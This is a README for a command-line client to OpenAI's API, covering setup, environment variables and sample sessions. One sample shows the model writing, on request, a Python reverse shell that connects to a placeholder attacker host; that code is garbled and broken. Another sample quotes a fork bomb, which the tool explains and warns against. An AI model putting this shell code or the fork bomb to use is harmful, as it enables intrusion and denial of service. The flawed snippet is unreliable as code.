gpt-cli

This is a command line tool used for interacting with OpenAI's API.

Default model is gpt-3.5-turbo (but you can change it to whatever you want).

This tool requires the following environment variables to be set:

• OPENAI_API_KEY

You can further tweak functionality by setting the following additional environment variables:

• OPENAI_MODEL
• OPENAI_DEFAULT_PROMPT
• OPENAI_LOGFILE
• OPENAI_TEMPERATURE
• OPENAI_MAX_TOKENS

All environment variables can be set by filling in values from example.env, renaming that file to .env, and running ./bin/gpt3 'Your prompt here'.

There is also a gpt4 command in case you set your model to GPT-4 and feel stupid running the gpt3 command.

Alternately, you can pass the environment variables on the command line using something like this:

OPENAI_API_KEY=foo ./bin/gpt3 'Your prompt here'

If installing from PyPi, set the OPENAI_API_KEY in your ~/.bashrc or ~/.zshrc, and run as follows:

gpt3 'Your prompt here'

Installation (PyPi) - set variables in rc files:

python3 -m pip install gpt-cli

Installation (local) - set variables in .env:

git clone https://github.com/phx/gpt-cli
cd gpt-cli
python3 -m pip install -r requirements.txt

Examples:

If given the -p or --print option, it will display the full prompt and response.

╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  gpt3 --print 'Write python script to create reverse shell.'
----------------------------------------------------------------------
Prompt:
Write python script to create reverse shell.

Answer:
import socket
import subprocess# Create a socket
s = socket.socket()# Connect to the attacker machine
s.connect(("attacker_ip", attacker_port))# Create a subprocess to execute a shell
proc = subprocess.Popen(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno())# Keep the connection alive
while True:
    data = s.recv(1024)
    if data == "exit":
        break
    proc.stdin.write(data)
    proc.stdout.flush()# Close the connection
s.close()
----------------------------------------------------------------------

╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 -p 'Who is Gregory Washingheimer Van Fleet?'
----------------------------------------------------------------------
Prompt:
Who is Gregory Washingheimer Van Fleet?

Answer:
Unknown.
----------------------------------------------------------------------
╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 --print 'Who is John Adams?'                     
----------------------------------------------------------------------
Prompt:
Who is John Adams?

Answer:
John Adams was the second President of the United States, serving from 1797 to 1801.
----------------------------------------------------------------------

When taking redirected or piped input from STDIN, it will only output the answer.

╭─phx@birdbox ~/git/gpt-cli ‹master●›
╰─$ echo 'Tell me what this code does: :(){ :|:& };:' | bin/gpt3

This code is a fork bomb, a type of denial-of-service attack that continuously replicates itself to consume system resources and eventually cause the system to become unresponsive.

Here's a breakdown of what the code does:

1. `:(){ ... };:` - This defines a function named `:` that contains the code within the curly braces `{}` and then calls the function `:`.

2. `:|:` - This is the recursive part of the fork bomb. It pipes the output of the function `:` back into the function itself, causing it to continuously replicate.

3. `&` - This runs the function in the background, allowing it to continue replicating without blocking the terminal.

When this code is executed, it will rapidly spawn new instances of the function `:` until the system's resources are exhausted, leading to a system crash or unresponsiveness. It is important to never run this code on a system as it can cause serious damage.